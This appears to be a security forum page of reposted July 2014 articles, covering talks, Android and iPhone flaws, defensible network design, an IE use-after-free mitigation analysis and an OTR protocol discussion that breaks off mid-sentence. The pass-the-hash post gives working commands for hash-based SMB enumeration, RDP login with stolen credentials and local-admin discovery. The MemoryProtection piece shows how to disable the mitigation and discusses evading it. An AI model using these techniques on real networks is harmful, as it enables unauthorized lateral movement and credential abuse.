Nytro

[h=1]HIP14 :C+11 metaprogramming technics applied to software obduscation[/h] Publicat pe 29 iul. 2014 By Sebastien Andrivet Hack in Paris:the leading IT security technical event in France organized by Sysdream

[h=1]HIP14-Defeating UEFI/WIN8 secureboot[/h] Kw-domjg5UkbN-pLc Publicat pe 29 iul. 2014 By John Butterworth Hack in Paris:the leading IT security technical event in France organized by Sysdream

[h=1]HIP14-Pentesting NoSQL exploitation framework[/h] IKw-domjg5UkbN-pLc Publicat pe 29 iul. 2014 By Francis Alexander Hack in Paris:the leading IT security technical event in France organized by Sysdream

[h=1]HIP14-Fuzzing reversing and maths[/h] IKw-domjg5UkbN-pLc Publicat pe 29 iul. 2014 By Josep Pi Rodriguez & Pedro Guillen Nunez Hack in Paris:the leading IT security technical event in France organized by Sysdream

[h=1]HIP14-ARM AARCH64 writing exploits for the new arm architecture[/h] Kw-domjg5UkbN-pLc Publicat pe 29 iul. 2014 By Thomas Roth Hack in Paris: the leading IT security technical event in France organized by Sysdream

[h=3]Defensible Network Architecture 2.0[/h]Four years ago when I wrote The Tao of Network Security Monitoring I introduced the term defensible network architecture. I expanded on the concept in my second book, Extrusion Detection. When I first presented the idea, I said that a defensible network is an information architecture that is monitored, controlled, minimized, and current. In my opinion, a defensible network architecture gives you the best chance to resist intrusion, since perfect intrusion prevention is impossible. I'd like to expand on that idea with Defensible Network Architecture 2.0. I believe these themes would be suitable for a strategic, multi-year program at any organization that commits itself to better security. You may notice the contrast with the Self-Defeating Network and the similarities to my Security Operations Fundamentals. I roughly order the elements in a series from least likely to encounter resistance from stakeholders to most likely to encounter resistance from stakeholders. A Defensible Network Architecture is an information architecture that is: Monitored. The easiest and cheapest way to begin developing DNA on an existing enterprise is to deploy Network Security Monitoring sensors capturing session data (at an absolute minimum), full content data (if you can get it), and statistical data. If you can access other data sources, like firewall/router/IPS/DNS/proxy/whatever logs, begin working that angle too. Save the tougher data types (those that require reconfiguring assets and buying mammoth databases) until much later. This needs to be a quick win with the data in the hands of a small, centralized group. You should always start by monitoring first, as Bruce Schneier proclaimed so well in 2001. Inventoried. This means knowing what you host on your network. If you've started monitoring you can acquire a lot of this information passively. This is new to DNA 2.0 because I assumed it would be already done previously. Fat chance! Controlled. Now that you know how your network is operating and what is on it, you can start implementing network-based controls. Take this anyway you wish -- ingress filtering, egress filtering, network admission control, network access control, proxy connections, and so on. The idea is you transition from an "anything goes" network to one where the activity is authorized in advance, if possible. This step marks the first time where stakeholders might start complaining. Claimed. Now you are really going to reach out and touch a stakeholder. Claimed means identifying asset owners and developing policies, procedures, and plans for the operation of that asset. Feel free to swap this item with the previous. In my experience it is usually easier to start introducing control before making people take ownership of systems. This step is a prerequisite for performing incident response. We can detect intrusions in the first step. We can only work with an asset owner to respond when we know who owns the asset and how we can contain and recover it. Minimized. This step is the first to directly impact the configuration and posture of assets. Here we work with stakeholders to reduce the attack surface of their network devices. You can apply this idea to clients, servers, applications, network links, and so on. By reducing attack surface area you improve your ability to perform all of the other steps, but you can't really implement minimization until you know who owns what. Assessed. This is a vulnerability assessment process to identify weaknesses in assets. You could easily place this step before minimization. Some might argue that it pays to begin with an assessment, but the first question is going to be: "What do we assess?" I think it might be easier to start disabling unnecessary services first, but you may not know what's running on the machines without assessing them. Also consider performing an adversary simulation to test your overall security operations. Assessment is the step where you decide if what you've done so far is making any difference. Current. Current means keeping your assets configured and patched such that they can resist known attacks by addressing known vulnerabilities. It's easy to disable functionality no one needs. However, upgrades can sometimes break applications. That's why this step is last. It's the final piece in DNA 2.0. So, there's DNA 2.0 -- MICCMAC (pronounced "mick-mack"). You may notice the Federal government is adopting parts of this approach, as mentioned in my post Feds Plan to Reduce, then Monitor. I prefer to at least get some monitoring going first, since even incomplete instrumentation tells you what is happening. Minimization based on opinion instead of fact is likely to be ugly. Did I miss anything? Posted by Richard Bejtlich at 22:22 Sursa: TaoSecurity: Defensible Network Architecture 2.0

Android crypto blunder exposes users to highly privileged malware "Fake ID" exploits work because Android doesn't properly inspect certificates. by Dan Goodin - July 29 2014, 2:00pm GTBST A slide from next week's Black Hat talk titled Android Fake ID vulnerability. Bluebox Security The majority of devices running Google's Android operating system are susceptible to hacks that allow malicious apps to bypass a key security sandbox so they can steal user credentials, read e-mail, and access payment histories and other sensitive data, researchers have warned. The high-impact vulnerability has existed in Android since the release of version 2.1 in early 2010, researchers from Bluebox Security said. They dubbed the bug Fake ID, because, like a fraudulent driver's license an underage person might use to sneak into a bar, it grants malicious apps special access to Android resources that are typically off-limits. Google developers have introduced changes that limit some of the damage that malicious apps can do in Android 4.4, but the underlying bug remains unpatched, even in the Android L preview. The Fake ID vulnerability stems from the failure of Android to verify the validity of cryptographic certificates that accompany each app installed on a device. The OS relies on the credentials when allocating special privileges that allow a handful of apps to bypass Android sandboxing. Under normal conditions, the sandbox prevents programs from accessing data belonging to other apps or to sensitive parts of the OS. Select apps, however, are permitted to break out of the sandbox. Adobe Flash in all but version 4.4, for instance, is permitted to act as a plugin for any other app installed on the phone, presumably to allow it to add animation and graphics support. Similarly, Google Wallet is permitted to access Near Field Communication hardware that processes payment information. According to Jeff Forristal, CTO of Bluebox Security, Android fails to verify the chain of certificates used to certify an app belongs to this elite class of super privileged programs. As a result, a maliciously developed app can include an invalid certificate claiming it's Flash, Wallet, or any other app hard coded into Android. The OS, in turn, will give the rogue app the same special privileges assigned to the legitimate app without ever taking the time to detect the certificate forgery. "All it really takes is for an end user to choose to install this fake app, and it's pretty much game over," Forristal told Ars. "The Trojan horse payload will immediately escape the sandbox and start doing whatever evil things it feels like, for instance, stealing personal data." Other apps that receive special Android privileges include device management extensions from a company known as 3LM. Organizations use such apps to add security enhancements and other special features to large fleets of phones. An app that masqueraded as one of these programs could gain almost unfettered administrative rights on phones that were configured to work with the manager. Forristal hasn't ruled out the existence of other apps that are automatically assigned heightened privileges from Android. Changes introduced in Android 4.4 limit some of the privileges Android grants to Flash. Still, Forristal said the failure to verify the certificate chain is present in all Android devices since 2.1. That means malicious apps can bypass sandbox restrictions by impersonating Google Wallet, 3LM managers, and any other apps Android is hardcoded to favor. A spokesman for Google issued the following statement: We appreciate Bluebox responsibly reporting this vulnerability to us; third-party research is one of the ways Android is made stronger for users. After receiving word of this vulnerability, we quickly issued a patch that was distributed to Android partners, as well as to AOSP. Google Play and Verify Apps have also been enhanced to protect users from this issue. At this time, we have scanned all applications submitted to Google Play as well as those Google has reviewed from outside of Google Play, and we have seen no evidence of attempted exploitation of this vulnerability. The statement didn't say exactly what Google did to patch the vulnerability or specify if any Android partners have yet to distribute it to end users. This article will be updated if company representatives elaborate beyond the four sentences above. As Ars has documented previously, it's not unusual for attackers to sneak malicious apps into the official Google Play marketplace. If it's possible for approved apps to contain cryptocurrency miners, remote access trojans, or other hidden functions, there's no obvious reason they can't include cryptographic credentials fraudulently certifying they were spawned by 3LM, Google, Microsoft, or any other developer granted special privileges. "With this vulnerability, malware has a way to abuse any one of these hardcoded identities that Android implicitly trusts," said Forristal, who plans to divulge additional details at next week's Black Hat security conference. "So malware can use the fake Adobe ID and become a plugin to other apps. Malware can also use the 3LM to control the entire device." Listing image courtesy of Greayweed. Sursa: Android crypto blunder exposes users to highly privileged malware | Ars Technica

devttys0 released this 3 days ago · 11 commits to master since this release Highlights: Python3 support Raw deflate detection/extraction Improved API Improved speed More (and improved) signatures Faster entropy scans Much more... Lots of thanks to everyone who submitted patches and bug reports! Sursa: https://github.com/devttys0/binwalk/releases/tag/v2.0.0

Pass-the-Hash is Dead: Long Live Pass-the-Hash July 29, 2014 by harmj0y You may have heard the word recently about how a recent Microsoft patch has put all of us pentesters out of a job. Pass-the-hash is dead, attackers can no longer spread laterally, and Microsoft has finally secured its authentication mechanisms. Oh wait: This is a fully-patched Windows 7 system in a fully-patched Windows 2012 domain. So what’s going on here, what has Microsoft claimed to do, what have they actually done, and what are the implications of all of this? The security advisory and associated knowledge base article we’re dealing with here is KB2871997 (aka the Mimikatz KB Besides backporting some of the Windows 8.1 protections that make extracting plaintext credentials from LSASS slightly more difficult, the advisory includes this ominous (to pentesters, at least) statement “Changes to this feature include: prevent network logon and remote interactive logon to domain-joined machine using local accounts…“. On the surface, this looks like it totally quashes the Windows pivoting vectors we’ve been taking advantage of for so long, [insert doom and gloom here]. Microsoft even originally titled their original advisory, “Update to fix the Pass-The-Hash Vulnerablity”, but quickly changed it to “Update to improve credentials protection and management” http://www.infosecisland.com/blogview/23787-Windows-Update-to-Fix-Pass-the-Hash-Vulnerability-Not.html It’s true, Microsoft has definitely raised the bar: accounts that are members of the localgroup “Administrators” are no longer able to execute code with WMI or PSEXEC, use schtasks or at, or even browse the open shares on the target machine. Oh, except (as pwnag3 reports and our experiences confirm) the RID 500 built-in Administrator account, even if it’s renamed. While Windows 7 installs will now disable this account by default and prompt for a user to set up another local administrator, many organizations used to standard advice and compliance still have loads of RID 500 accounts, enabled, all over their enterprise. Some organizations rely on this account for backwards compatibility reasons, and some use it as a way to perform vulnerability scans without passing around Domain Admin credentials. If a domain is built using only modern Windows OSs and COTS products (which know how to operate within these new constraints), and configured correctly with no shortcuts taken, then these protections represent a big step forward. Microsoft has finally start to wise up to some of its inherent security issues, which I seriously applaud them for. However, the vast majority of organizations are a Frankensteinian amalgamation of security/management products, old (and sometimes unpatched) servers, heterogenous clients, lazy admins, backwards-compatibility-focused engineers, and usability-focused business units. Regardless, accounts with this security identifier are almost certainly going to be enabled and around for a while. Additionally, Windows 2003 isn’t affected (which will surely linger around organizations significantly longer than Windows XP), and domain accounts which maintain Administrative access over a machine can still have their hashes passed to your heart’s content. Also, these local admin accounts should still work with psremoting if it’s enabled. Some organizations will leave the WinRM service still running as an artifact of deployment, and while you can’t use hashes for auth in this case, plaintext credentials can be specified for a remote PowerShell session. But let’s say everything’s set up fairly well, the default Administrator account is disabled, and you end up dumping the hash of another local admin user on a box. How is this going to look in the field when you try your normal pivoting, and what options are still open? Your favorite scanner will still likely flag the credentials as valid on machines with the same account reused, as the following examples with the local admin of ‘mike:password’ demonstrates: However, when you try to use PSEXEC or WMIS to trigger agents or commands, or use Impacket’s functionality to browse the file shares, you’ll encounter something like this: The “pth-winexe” example above shows the difference between invalid credentials (NT_STATUS_LOGON_FAILURE) and the new patch behavior. If you happen to have the plaintext, through group policy preferences, some Mimikatz luck, or cracking the dumped NTLM hashes, you can still RDP to a target successfully with something like rdesktop -u mike -p password 192.168.52.151. But be careful: if you’re going after a Windows 7 machine and a domain user is currently logged on, it will politely ask them if they want to allow your remote session in, meaning this is probably best left for after-hours. Also, interesting note: if you have hashes for a domain user and are dealing with the new restricted admin mode, you might be able to pass-the-hash with rdp itself! The Kali linux guys have a great writeup on doing just that with xfreerdp. So here we are, with the RID 500 local Administrator account, as well as any domain accounts granted administrative privileges over a machine, still being able to utilize Metasploit or the passing-the-hash toolkit to install agents or execute code on target systems. Seems like it would be useful to be able to enumerate what name the local RID 500 account is currently using, as well as any network users in the local Administrators group. Unfortunately, even if you get access to a basic user account on some target machine and get in a position to abuse Active Directory, you can’t query local administrators with WMI as you might like: But all hope is not lost, with backwards-compatibility, the bane of Microsoft’s existence, once again coming to our aid. The Active Directory Service Interfaces [ADSI] WinNT provider, can be used to query information from domain-attached machines, even from non-privileged user accounts. A remnant of NT4 domain deployments, the WinNT provider in some cases can allow a non-privileged domain user to query information from target machines, including things like all the local groups and associated members (with SIDs and all). If we have Powershell access on a Windows domain machine, you can try enumerating all the local groups on a target machine with something like: $computer = [ADSI]“WinNT://WINDOWS2,computer” $computer.psbase.children | where { $_.psbase.schemaClassName -eq ‘group’ } | foreach { ($_.name)[0]} If we want the members of a specific group, that’s not hard either: $members = @($([ADSI]“WinNT://WINDOWS2/Administrators”).psbase.Invoke(“Members”)) $members | foreach { $_.GetType().InvokeMember(“ADspath”, ‘GetProperty’, $null, $_, $null) } These functions have been integrated into Veil-PowerView, Get-NetLocalGroups and Get-NetLocalGroup respectively: Another function, Invoke-EnumerateLocalAdmins, has also been built and integrated. This will query the domain for hosts, and enumerate every machine for members of a specific local group (default of ‘Administrators’). There are options for host lists, delay/jitter between host enumerations, and whether you want to pipe everything automatically to a csv file: This gives you some nice, sortable .csv output with the server name, account, whether the name is a group or not, whether the account is enabled, and the full SID associated with the account. The built-in Administrator account is the one ending in *-500: And again, this is all with an unprivileged Windows domain account. If you just have a hash and want the same information without having to use PowerShell, the Nmap scripts smb-enum-groups.nse and smb-enum-users.nse can accomplish the same thing using a valid account for the machine (even a member of local admins!) along a password or hash: nmap -p U:137,T:139 –script-args ‘smbuser=mike,smbhash=8846f7eaee8fb117ad06bdd830b7586c’ –script=smb-enum-groups –script=smb-enum-users 192.168.52.151 If you want to use a domain account, set your flags to something like –script-args ‘smbdomain=DOMAIN,smbuser=USER,smbpass/smbhash=X’. You’ll be able to enumerate the RID 500 account name and whether it’s disabled, as well as all the members of the local Administrators group on the machine. If there’s a returned member of the Administrator group that doesn’t show up in the smb-enum-users list, like ‘Jason’ in this instance, it’s likely a domain account. This information can give you a better idea of what credentials will work where, and what systems/accounts you need to target. If you have any issues or questions with PowerView, submit any issues to the official Github page, hit me up on Twitter at @harmj0y, email me at will [at] harmj0y.net, or find me on Freenode in #veil, #armitage, or #pssec under harmj0y. And if you’re doing the Blackhat/Defcon gauntlet this year, come check out the Veil-Framework BH Arsenal booth and/or my presentation on post-exploitation, as well as all the other awesome talks lined up this year! Sursa: Pass-the-Hash is Dead: Long Live Pass-the-Hash – harmj0y

[h=2]On Breaking PHP-based cross-site scripting protection Mechanisms in the wild[/h] A talk by Ashar Javed @ Garage4Hackers WebCast (28-07-2014) Previously presented at OWASP Spain Chapter Meeting 13-06-2014, Barcelona (Spain) Slides: On Breaking PHP-Based Cross-Site Scripting Protections In The Wild by Ashar Javed

Shellcode Detection and Emulation with Libemu Introduction Libemu is a library which can be used for x86 emulation and shellcode detection. Libemu can be used in IDS/IPS/Honeypot systems for emulating the x86 shellcode, which can be further processed to detect malicious behavior. It can also be used together with Wireshark to pull shellcode off the wire to be analyzed, analyze shellcode inside malicous .rtf/.pdf documents, etc. It has a lot of use-cases and is used in numerous open-source projects like dionaea, thug, peepdf, pyew, etc., and it plays an integral part in shellcode analysis. Libemu can detect and execute shellcode by using the GetPC heuristics, as we will see later in the article. The very first thing we can do is download Libemu via Git with the following command: [TABLE] [TR] [TD=class: gutter]1[/TD] [TD=class: code]# git clone git://git.carnivore.it/libemu.git [/TD] [/TR] [/TABLE] If we would like to know how much code has been written for this project, we can simply execute sloccount, which will output the number of lines for each subdirectory and a total of 43,742 AnsiC code lines and 15 Python code lines. If we would rather take a look at nice graphs, we can visit the Ohloh web page to see something like below, where it’s evident that about 50k lines of code has been written. The installation instructions can be found at [1], which is why we won’t describe them in this article. We can also install the Pylibemu, so we can interact with Libemu directly from Python. Articol complet: Shellcode Detection and Emulation with Libemu - InfoSec Institute

Hacker turns ATM into 'Doom' arcade game by Lisa Vaas on July 29, 2014 Ever watched a Whirlpool washing machine explode after bouncing around the back yard for 3:42 minutes, a chunk of heavy metal ripping it to shreds from the inside out? There's a hacker responsible for this appliance torture, which he's now expanded to include rigging an ATM so you can play Doom on it (this involves less trauma than the washing machine, in that the ATM survives). Mashable identified the cash machine hacker as an "ingenious Australian lad", Ed Jones, who goes by the handle Aussie50. He says this about what he calls his engineering/scrap metal recycling work: I have a Tenancy to Destroy that which is not useful or repairable, or simply disobeys me. so be sure to watch my motor/appliance destruction videos if you are into stress testing things to the MAX! [sic] Over the weekend, Aussie50 posted a showing off an ATM with its guts exposed, its original PIN pad turned into an arcade controller, the side panel used to select weapons. Its screen now eschews balances and transfers in favor of the familiar sight of a hand wrapped around a gun, going around dark corners and blasting stuff. Were you aware that ATMs - at least the NCR Personas ATM model Aussie50 and his software/wiring/logic partner Julian picked up - have a stereo soundboard in the back? Aussie50 now knows that. Sound system aside, questions abound. For one, can we play with it? That might be on the cards: Aussie50 said in the YouTube comments that he's mulling getting a coin mechanism to install below the card reader. But more security-focused is the question of where the hardware reconfiguration artist got this ATM. Did he pick it up on eBay? Also, should we worry about malicious hackers getting their hands on ATMs and rigging them so as to swindle funds? The answer, of course, is that they've already figured that stuff out. Recent examples of attackers getting into the juicy guts of publicly accessible ATMs abound. One memorable incident, from June, involved two Canadian 14-year-olds who came across an old ATM operators manual online, used its instructions to get into the machine's operator mode, broke into a local market's bank ATM on their school lunch break, printed off documentation regarding how much money was inside and how many withdrawals had been made that day, and changed the surcharge amount to one cent. In the case of that daring duo, I was initially blindsided by the fact that they were precocious tots who reported it to the bank without attempting to profit off their new-found knowledge. They could have wound up in a world of trouble, and/or they could have broken the system they were playing with. For example, as Naked Security's Paul Ducklin pointed out, the kids could have unwittingly triggered a mechanical test sequence that resulted in it spitting out banknotes, which would have left them in the tricky position of having turned into bank robbers. Given that Aussie50's hobby involves scrap metal recycling, we'll assume that he legally procured his ATM of Doom - therefore, he didn't need prior authorization to access somebody else's ATM's computer system (and innards!). Otherwise, if he were playing with somebody else's hardware, one would hope he'd get the go-ahead from the owner(s) of the system he targeted. That's how so-called "white-hat" hackers do it, Paul pointed out: True "white hat" penetration testers don't take the first step without making sure that the scope of their work is known and condoned in writing by their customer. (They don't call it the "get out of jail free" letter for nothing.) Sursa: Hacker turns ATM into ‘Doom’ arcade game | Naked Security

CVE: https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-5102

Apple Admits Encrypted iPhone Personal Data Can Be Extracted From 'Trusted' Computers By Dennis Lynch@neato_itsdennis on July 25 2014 10:15 PM Apple Inc. acknowledged on Friday that backup encrypted texts, photos and contacts can be extracted from iPhone by anyone with knowledge of extraction techniques, like Apple employees and law enforcement, Reuters reported. Anyone who wants access to that information just needs access to a computer that a user has “trusted” with data from his or her iPhone. Apple says it’s only for diagnostic purposes, so “enterprise IT departments, developers and Apple [troubleshooters]” can access your phone’s technical data, and isn’t a security issue. “A user must have unlocked their device and agreed to trust another computer before that computer is able to access this limited diagnostic data,” Apple said. “As we have said before, Apple has never worked with any government agency from any country to create a backdoor in any of our products or services.” The issue was revealed by a self-proclaimed “hacker” and security researcher Jonathan Zdziarski last week at the Hackers on Planet Earth conference in New York City. He says law enforcement or people with malicious intent could access the data in the same way an Apple “Genius” would access it. He calls it a security “back door,” but insists he’s not accusing Apple of “anything malicious” or of “working with the NSA,” but that the flaw is there and could be used by someone seeking personal information. One Twitter user who appears to “jailbreak” iPhones, or unlock them from Apple software limitations, expressed his disapproval of Zdziarski’s reveal, saying he was “giving away all the secrets!” Sursa: Apple Admits Encrypted iPhone Personal Data Can Be Extracted From 'Trusted' Computers

Efficacy of MemoryProtection against use-after-free vulnerabilities Simon_Z| July 28, 2014 As of the July 2014 patch of Internet Explorer, Microsoft has taken a major step in the evolution of exploit mitigations built into its browser. The new mitigation technology is called MemoryProtection (or MemProtect, for short) and has been shown to be quite effective against a range of use-after-free (UAF) vulnerabilities. Not all UAFs are equally affected, however. Here we’ll discuss what MemoryProtection is and how it operates, and evaluate its effectiveness against various types of UAFs. High-Level Description of MemoryProtection The heart of MemoryProtection is a new strategy for freeing memory on the heap. When typical C++ code compiled for the Windows platform wishes to free a block of memory on the heap, the operation is implemented by a call to HeapFree. This is a call to the Windows heap manager, and it immediately makes the memory block available for reuse in future allocations. With MemoryProtection, when code wishes to free heap memory, the memory is not immediately freed at the heap manager level. Consequently, the memory is not made available for future allocations – at least not for a very important window in time. Instead of returning the memory to the Windows heap manager, MemoryProtection keeps the memory in an allocated state (as far as the heap manager is concerned), fills the memory with zeroes, and tracks the memory block on a list that MemoryProtection maintains of memory blocks waiting to be freed at the heap manager level. MemoryProtection will ultimately free the block at the heap manager level when it performs a periodic memory reclamation sweep, but only if the stack contains no outstanding references to the block. Since application-level frees and heap manager-level frees no longer occur at the same time, there is room for confusion whenever a “free” is mentioned. For the purposes of this post, a “free” will mean an application-level free unless specified otherwise. Also, when speaking of a free at the heap manager level we will sometimes speak of the memory being “released” or “returned” to the heap manager. Detailed Description of MemoryProtection MemoryProtection maintains a per-thread list of freed memory blocks that are still waiting to be freed at the heap manager level. We will call this the “wait list”. When code in Internet Explorer wishes to free a block of memory on the heap, it calls the function MSHTML!MemoryProtection::CMemoryProtector::ProtectedFree. (Note, however, that in many places this function is inlined, which means that its body is copied in its entirety into the compiled code of other functions.) This method performs the following steps: 1. Check if the wait list for the current thread contains at least 100,000 total bytes of memory waiting to be freed at the heap manager level. If so, perform a reclamation sweep (see below). 2. Add an entry to the current thread’s wait list, recording the block’s address, its size, and whether the block resides on the regular process heap or on the isolated heap. 3. Fill the memory block with zeroes. To perform a reclamation sweep, the steps are as follows. These steps are implemented by MemoryProtection::CMemoryProtector::MarkBlocks and MemoryProtection::CMemoryProtector:: ReclaimUnmarkedBlocks. All operations apply to the current thread’s wait list only. 1. Sort the wait list in increasing order of block address. 2. Place a mark on every wait list entry whose block is still pointed to by a pointer residing on the current thread’s stack. The pointer could be either a pointer to the start of the block or a pointer to any memory location falling within the block’s address range. 3. Iterate over the wait list. For each wait list entry encountered that is not marked, release the memory block at the heap manager level via an actual call to HeapFree, and remove the block from the wait list. Remove all marks from marked entries. In addition, an unconditional reclamation step is performed periodically. This occurs each time Internet Explorer’s WndProc is entered to service a message for the thread’s main window. At that time, the entire wait list is emptied and all waiting blocks are returned to the heap manager. The function performing this action is MemoryProtection::CMemoryProtector::ReclaimMemoryWithoutProtection. For efficiency, the wait list is rearranged in certain ways while performing the iteration in step 3 above. Therefore blocks are not necessarily freed in order of increasing address, nor are they always freed in the same order in which they are placed on the wait list. For research and debugging purposes it is often useful to be able to observe the behavior of Internet Explorer without MemoryProtection. In particular, MemoryProtection will interfere with the ability to use the heap manager’s call stack database to capture the call stack at the time of an application-level free. (By the same token, MemoryProtection actually makes it easier to capture the call stack at the time of allocation.) MemoryProtection can effectively be turned off via a manual procedure by writing the value 0xffffffff to the variable MSHTML!MemoryProtection::CMemoryProtector::tlsSlotForInstance. In WinDbg, this can be done via the following command: ed MSHTML!MemoryProtection::CMemoryProtector::tlsSlotForInstance 0xffffffff Effect of MemoryProtection on UAFs When an IE exploit leveraging a UAF is run unmodified against the newly MemoryProtection-enabled IE, the result will often resemble a null-pointer dereference. At the point in time when the exploit attempts to perform an allocation reusing memory from the freed block, the original memory block has not yet been returned to the heap manager; as a result, the exploit code fails to cause a new allocation at that location. Ultimately, when IE makes its improper use of the freed memory, any data read consists of zeroes. Often this will cause a quick and harmless termination of the IE process when the zero value is interpreted as a pointer and is dereferenced. It’s important to realize that even when the symptom appears to indicate that the bug is a null-pointer dereference, the underlying cause actually may be a UAF and a potential security risk. Let’s consider how an attacker might be able to modify the exploit in order to evade MemoryProtection. For a successful attack, the exploit must be able to trigger a memory sweep in between the free and the reallocation. Furthermore, at the time of this sweep, the stack must not contain any outstanding references to the freed block. It follows that there are some UAFs that are impossible to exploit under MemoryProtection. Specifically: If an outstanding stack reference exists for the entire period of time between the free and the later use, then it is impossible to cause reclamation of the freed block. This is a common situation that accounts for a large percentage of UAFs. Many UAFs are the result of a situation in which a free occurring at a deeper level in the call stack leaves a dangling pointer (sometimes a “this” pointer) at a higher level in the call stack. The crash occurs when the stack is popped to the level at which the dangling pointer resides. This very common type of UAF is now non-exploitable. As for UAFs not falling into the above category, however, the situation is quite different. Consider the case of a UAF in which a certain script action results in a dangling pointer being stored in heap memory, more or less permanently – by which we mean that the dangling pointer remains in place even after the return of all currently executing functions. The malicious script can then trigger the use of the dangling pointer at a much later point in time. We call these “long-lived” UAFs. In the case of a long-lived UAF, MemoryProtection offers no real defense. An attacker can ensure that the memory block is freed at the heap manager level by allowing Internet Explorer’s message loop to execute, as this will trigger an unconditional release of all waiting blocks. Though it may seem that the additional blocks released during this sweep have the potential to disrupt the exploit by causing various heap coalesces that are hard to predict, this problem can largely be eliminated by properly preparing the wait list so it will contain a minimum of entries at the time of the sweep. For UAFs not falling into the above categories MemoryProtection may provide partial or full mitigation. Consider the common case of a UAF in which the free and the use occur within the same script method. In the past, some of these have been exploitable conditions. MemoryProtection adds some additional hurdles that an attacker must clear. By referring to the ProtectedFree algorithm above, you can see that when IE calls ProtectedFree on a block of memory, the memory is never returned to the Windows heap manager at that time – not even if the wait list is very full. The return of the memory to the heap manager will always be delayed at least until the next call to ProtectedFree, at which point a sweep could occur. Therefore, an additional hurdle for an attacker in this situation is to find a way to force an additional free in between the free and the reallocation. This additional free must be performed on the same thread as the original free, since wait lists are maintained on a per-thread basis. For certain bugs this additional requirement will make exploitation impossible or too unreliable for use by an adversary. In other cases, when it is easy to force an additional free, MemoryProtection provides a weak form of protection by making it a bit more complex to arrange for a desired sequence of frees at the heap manager level. Typically it is possible to evade this protection through the addition of additional script actions that prepare the wait list, forcing it into a known desired state containing only a small number of entries. In Summary MemoryProtection is a significant new mitigation that makes Internet Explorer more secure by eliminating entire classes of UAFs and rendering them non-exploitable. For other classes of UAFs MemoryProtection is ineffective or only partially effective. Researchers should be aware that some IE crashes that appear to be null-pointer dereferences actually mask an underlying exploitable bug. Simon Zuckerbraun Security Researcher, HP ZDI Sursa: Efficacy of MemoryProtection against use-after-fre... - HP Enterprise Business Community

Breaking Antivirus Software Joxean Koret, COSEINC SYSCAN 360, 2014 - Introduction - Attacking antivirus engines - Finding vulnerabilities - Exploiting antivirus engines - Antivirus vulnerabilities - Conclusions - Recommendations Download: http://www.syscan360.org/slides/2014_EN_BreakingAVSoftware_JoxeanKoret.pdf

[h=3]Noodling about IM protocols[/h]The last couple of months have been a bit slow in the blogging department. It's hard to blog when there are exciting things going on. But also: I've been a bit blocked. I have two or three posts half-written, none of which I can quite get out the door. Instead of writing and re-writing the same posts again, I figured I might break the impasse by changing the subject. Usually the easiest way to do this is to pick some random protocol and poke at it for a while to see what we learn. The protocols I'm going to look at today aren't particularly 'random' -- they're both popular encrypted instant messaging protocols. The first is OTR (Off the Record Messaging). The second is Cryptocat's group chat protocol. Each of these protocols has a similar end-goal, but they get there in slightly different ways. I want to be clear from the start that thisposthas absolutely no destination. If you're looking for exciting vulnerabilities in protocols, go check out someone else's blog. This is pure noodling. The OTR protocol OTR is probably the most widely-used protocol for encrypting instant messages. If you use IM clients like Adium, Pidgin or ChatSecure, you already have OTR support. You can enable it in some other clients through plugins and overlays. OTR was originally developed by Borisov, Goldberg and Brewer and has rapidly come to dominate its niche. Mostly this is because Borisov et al. are smart researchers who know what they’re doing. Also: they picked a cool name and released working code. OTR works within the technical and usage constraints of your typical IM system. Roughly speaking, these are: Messages must be ASCII-formatted and have some (short) maximum length. Users won't bother to exchange keys, so authentication should be "lazy" (i.e., you can authenticate your partners after the fact). Your chat partners are all FBI informants so your chat transcripts must be plausibly deniable -- so as to keep them from being used as evidence against you in a court of law. Coming to this problem fresh, you might find goal (3) a bit odd. In fact, to the best of my knowledge no court in the history of law has ever used a cryptographic transcript as evidence that a conversation occurred. However it must be noted that this requirement makes the problem a bit more sexy. So let's go with it! [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]"Dammit, they used a deniable key exchange protocol" said no Federal prosecutor ever.[/TD] [/TR] [/TABLE] The OTR (version 2/3) handshake is based on the SIGMA key exchange protocol. Briefly, it assumes that both parties generate long-term DSA public keys which we'll denote by (pubA, pubB). Next the parties interact as follows: [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]The OTRv2/v3 AKE. Diagram by Bonneau and Morrison, all colorful stuff added. There's also an OTRv1 protocol that's too horrible to talk about here.[/TD] [/TR] [/TABLE] There are four elements to this protocol: Hash commitment. First, Bob commits to his share of a Diffie-Hellman key exchange (g^x) by encrypting it under a random AES key r and sending the ciphertext and a hash of g^x over to Alice. Diffie-Hellman Key Exchange. Next, Alice sends her half of the key exchange protocol (g^y). Bob can now 'open' his share to Alice by sending the AES key r that he used to encrypt it in the previous step. Alice can decrypt this value and check that it matches the hash Bob sent in the first message. Now that both sides have the shares (g^x, g^y) they each use their secrets to compute a shared secret g^{xy} and hash the value several ways to establish shared encryption keys (c', Km2, Km'2) for subsequent messages. In addition, each party hashes g^{xy} to obtain a short "session ID". The sole purpose of the commitment phase (step 1) is to prevent either Alice or Bob from controlling the value of the shared secret g^{xy}. Since the session ID value is derived by hashing the Diffie-Hellman shared secret, it's possible to use a relatively short session ID value to authenticate the channel, since neither Alice nor Bob will be able to force this ID to a specific value. Exchange of long-term keys and signatures. So far Alice and Bob have not actually authenticated that they're talking to each other, hence their Diffie-Hellman exchange could have been intercepted by a man-in-the-middle attacker. Using the encrypted channel they've previously established, they now set about to fix this. Alice and Bob each send their long-term DSA public key (pubA, pubB) and key identifiers, as well as a signature on (a MAC of) the specific elements of the Diffie-Hellman message (g^x, g^y) and their view of which party they're communicating with. They can each verify these signatures and abort the connection if something's amiss.** Revealing MAC keys. After sending a MAC, each party waits for an authenticated response from its partner. It then reveals the MAC keys for the previous messages. Lazy authentication. Of course if Alice and Bob never exchange public keys, this whole protocol execution is still vulnerable to a man-in-the-middle (MITM) attack. To verify that nothing's amiss, both Alice and Bob should eventually authenticate each other. OTR provides three mechanisms for doing this: parties may exchange fingerprints (essentially hashes) of (pubA, pubB) via a second channel. Alternatively, they can exchange the "session ID" calculated in the second phase of the protocol. A final approach is to use the Socialist Millionaires' Problem to prove that both parties share the same secret. The OTR key exchange provides the following properties: Protecting user identities. No user-identifying information (e.g., long-term public keys) is sent until the parties have first established a secure channel using Diffie-Hellman. The upshot is that a purely passive attacker doesn't learn the identity of the communicating partners -- beyond what's revealed by the higher-level IM transport protocol.* Unfortunately this protection fails against an active attacker, who can easily smash an existing OTR connection to force a new key agreement and run an MITM on the Diffie-Hellman used during the next key agreement. This does not allow the 